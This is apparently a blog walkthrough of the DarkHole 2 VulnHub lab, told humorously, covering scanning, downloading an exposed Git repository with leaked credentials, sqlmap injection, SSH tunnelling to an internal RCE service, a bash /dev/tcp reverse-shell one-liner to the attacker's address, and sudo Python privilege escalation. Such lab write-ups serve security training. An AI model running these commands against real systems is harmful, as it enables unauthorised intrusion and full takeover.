DarkHole 2 - VulnHub Writeup: Or How I Learned to Stop Worrying and Love Git Disasters

Complete penetration testing walkthrough of VulnHub machine

3/13/2022
20 min
Intermediate (but the devs made it easy with their... *creative* security choices)
VulnHubWeb ExploitationSQL InjectionSSHPort ForwardingPrivilege EscalationGitLinPEAS

Attack Chain Overview

Phase 1

Network Discovery

"Where the heck is this thing?"

Phase 2

Service Enumeration

Nmap reveals the usual suspects (and some unusual ones)

Phase 3

Git Repository Analysis

"Wait, did they really just...?" - Exposed .git with credentials

Phase 4

SQL Injection

"This is why we can't have nice things" - Database dump

Phase 5

SSH Access

"Oh, it gets worse" - Using leaked credentials

Phase 6

Privilege Escalation

"Well, that was embarrassingly easy" - Root via sudo

Overview

Alright, buckle up folks! This is the story of how I completely owned a VulnHub machine called DarkHole 2. Spoiler alert: it involves the most hilariously bad Git practices I've ever seen, some SQL injection that made me question humanity, and a privilege escalation so easy it felt like cheating.

🤦‍♂️ The Hall of Shame - Vulnerabilities That Made This Possible

  • • Exposed Git repository (with all the sensitive goodies)
  • • Commit messages that would make any security professional cry
  • • SQL injection so obvious it hurt to exploit
  • • Internal RCE service because apparently one vulnerability wasn't enough
  • • Sudo misconfiguration that basically handed us root on a silver platter

Environment Setup

So I've got this DarkHole 2 machine running on VMware Player, and my trusty Kali Linux box ready to cause some chaos. Both are sitting pretty on a NAT network, probably plotting against each other. Little does DarkHole know what's coming...

Target Setup

DarkHole 2 machine boot screen

DarkHole 2 machine is up and running, ready to be owned

Attack Setup

Kali Linux desktop ready

Kali Linux ready for action - let the chaos begin!

Phase 1: Network Discovery - The Great IP Hunt

Okay, so both machines are chilling on the same NAT network, but I have no clue where DarkHole is hiding. Time to play detective! First, let me figure out where I am in this digital neighborhood.

Time to knock on every door in the subnet:

sudo netdiscover -i eth0 -r 192.168.253.129/24

Boom! Four IP addresses show up. Now, .1 and .2 are probably boring network stuff, and .254 is likely the gateway doing gateway things. That leaves 192.168.253.133 looking mighty suspicious. Let me poke it with Firefox and... Bingo! DarkHole 2 just waved hello. This is going to be fun.

IP Discovery

Kali IP Address Discovery

Kali machine's IP: 192.168.253.129

Network Scan

Netdiscover scan results

Target identified: 192.168.253.133

Target Verification

DarkHole 2 web interface

Target confirmed - DarkHole 2 is online!

Phase 2: Port Scanning & Service Enumeration

With the target IP confirmed, I'll perform comprehensive port scanning using nmap with vulnerability detection:

Nmap command:

sudo nmap -sSCV -O -A -n --script vuln -Pn 192.168.253.133

Nmap Flags Explained:

  • -sS: TCP SYN scan (half-open scan) - fastest method
  • -sC: Run default NSE scripts for service detection
  • -sV: Version detection - identifies specific versions
  • -O: Operating System detection using TCP/IP fingerprinting
  • --script vuln: Run vulnerability detection scripts
  • -Pn: Skip host discovery, assume target is up

Key Findings: Web server with exposed Git repository and login page available for further analysis.

Port Scan Results

Nmap scan output showing services

Nmap reveals web server and exposed Git repository

Login Discovery

DarkHole login page

Login page discovered - time to find some credentials!

Phase 3: Directory Enumeration & Git Repository Analysis

Using gobuster to enumerate directories and files on the web server:

gobuster dir -u http://192.168.253.133 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .txt,.php,.bak,.env,.html,.git,.zip

🚨 Critical Finding

The .git directory is exposed, allowing access to the source code repository.

Git Repository Extraction

wget -r 192.168.253.133/.git

Directory Enumeration

Gobuster directory enumeration results

Gobuster reveals the exposed .git directory - disaster incoming!

Repo Download

Git repository contents

Repository successfully downloaded - time to dig for secrets

Git History Analysis

Examining the git commit history reveals critical information. The commit messages show extremely poor security practices:

git diff a4d900

Git History Horror

Git commit log showing security disasters

HOLY COMMIT MESSAGES, BATMAN! A masterclass in 'How NOT to Use Git'

Credential Discovery

Git diff revealing credentials

Credentials casually hanging out in the commit diff

Login Success

Successful login with leaked credentials

And it works! *Chef's kiss* Beautiful. Absolutely beautiful.

🎯 JACKPOT!

Email: lush@admin.com

Password: 321

Seriously? "321"? My grandmother's pet goldfish could have come up with a more secure password! 🐠

Phase 4: SQL Injection Discovery & Exploitation

After successful login, the URL contains a parameter id=1, suggesting potential SQL injection vulnerability.

Request Capture with Burp Suite

  1. 1. Logout and enable intercept in Burp Suite
  2. 2. Login again and capture the request containing PHPSESSID cookie
  3. 3. Forward the request until the authenticated session is established
  4. 4. Save the captured request for sqlmap analysis

SQL Injection Exploitation

sqlmap -r darkhole_request_sqlmap --dump-all

✅ Success!

The sqlmap scan reveals SSH credentials stored in the database, providing system access.

SSH Credentials Found

Sqlmap reveals SSH credentials in database

Sqlmap reveals SSH table info - credentials just handed to us on a silver platter!

Phase 5: SSH Access & System Enumeration

With these shiny new SSH credentials in hand, it's time to knock on the SSH door and see if anyone's home:

SSH Access

SSH login successful

SSH login successful - we're in the system!

Privilege Escalation Enumeration with LinPEAS

Time to bring in the big guns for enumeration. LinPEAS (Linux Privilege Escalation Awesome Script) is like having a bloodhound for security misconfigurations. Let's get this party started:

HTTP Server

Python HTTP server started

Fire up a quick Python server (because sharing is caring)

LinPEAS Download

LinPEAS downloaded

LinPEAS downloaded - now we wait for the magic

LinPEAS Analysis Results

LinPEAS runs its beautiful chaos and guess what? It finds ANOTHER security disaster! There's an internal PHP web service running on localhost port 9999 under user losy. And get this - it has Remote Code Execution capabilities. Because apparently, one gaping security hole wasn't enough:

LinPEAS Results

LinPEAS reveals internal service

LinPEAS finds ANOTHER security disaster - internal RCE service!

LinPEAS Analysis Results

Running LinPEAS reveals a critical finding - an internal PHP web service running on localhost port 9999 under user losy with Remote Code Execution capability.

Phase 6: Port Forwarding & RCE Exploitation

RCE Discovery

Internal RCE service discovered

RCE service found - this is going to be fun!

SSH Tunnel Setup

ssh jehad@192.168.253.133 -L 10000:localhost:9999

Port Forward

SSH port forwarding established

Port forwarding setup - building a bridge to nowhere (but everywhere)

Tunnel Verification

Nmap confirms local port forwarding

Nmap confirms our tunnel is working

RCE Access

RCE interface accessed via browser

Accessing the RCE interface through our tunnel

RCE Testing

Testing RCE with curl

Testing RCE with curl - it works!

Reverse Shell Establishment

The internal service has a cmd parameter allowing RCE. I create a reverse shell payload:

bash -c 'bash -i >& /dev/tcp/192.168.253.129/10001 0>&1'

Payload Encoding

URL encoding payload in Burp Suite

Using Burp Suite to encode our reverse shell payload

Netcat Listener

Starting netcat listener

Starting netcat listener - ready to catch that shell!

Shell Success

Reverse shell successful

BOOM! Reverse shell successful - we've got shell as losy!

After URL encoding the payload and executing it through the RCE vulnerability, I successfully obtain a shell as the losy user.

Phase 7: Privilege Escalation & Flag Capture

Credential Discovery

As part of standard enumeration, I check the bash history file which often contains valuable data including accidentally typed passwords. The .bash_history reveals the password for the losy user.

Password Discovery

Bash history revealing password

Password found in bash history - because of course it is!

Sudo Privilege Escalation

Using GTFOBins as reference, Python can be exploited for privilege escalation:

sudo python -c 'import os; os.system("/bin/sh")'

User Flag

User flag captured

First trophy - User flag in home directory

Root Flag

Root flag captured

Victory! Root flag captured

🏆 Trophies Collected

User Flag: DarkHoleThis_is_the_life_man_better_than_a_cruise

Root Flag: DarkHoleLegend

And there it is! Both flags captured, machine completely owned. This was like taking candy from a baby, if the baby was a poorly configured Linux server with more security holes than Swiss cheese. 🧀

Summary - What a Wild Ride

Well, that was... something! This walkthrough just demonstrated how NOT to secure a machine, but hey, it made for an entertaining penetration test. This machine was like a perfect storm of security fails - every single phase revealed another layer of "nope, that's not how you do it."

📚 What We Learned (or rather, what NOT to do)

  • • Don't expose your .git directories to the internet (seriously, just don't)
  • • Commit messages should not be security confessions
  • • Always sanitize user inputs (looking at you, SQL injection)
  • • Internal services need security too
  • • Password 321 is not a password, it's a cry for help
  • • Bash history files are not secret diaries

✨ The Silver Lining

At least this machine taught us every possible way to mess up security! It's like a comprehensive guide on "How to Build the Most Insecure System Possible" - educational in all the wrong ways.

Thanks for joining me on this journey through digital chaos. Remember kids: security is not optional, and neither is common sense! 🎯

Educational Purpose

This writeup is for educational purposes only. All techniques demonstrated should only be used on systems you own or have explicit permission to test.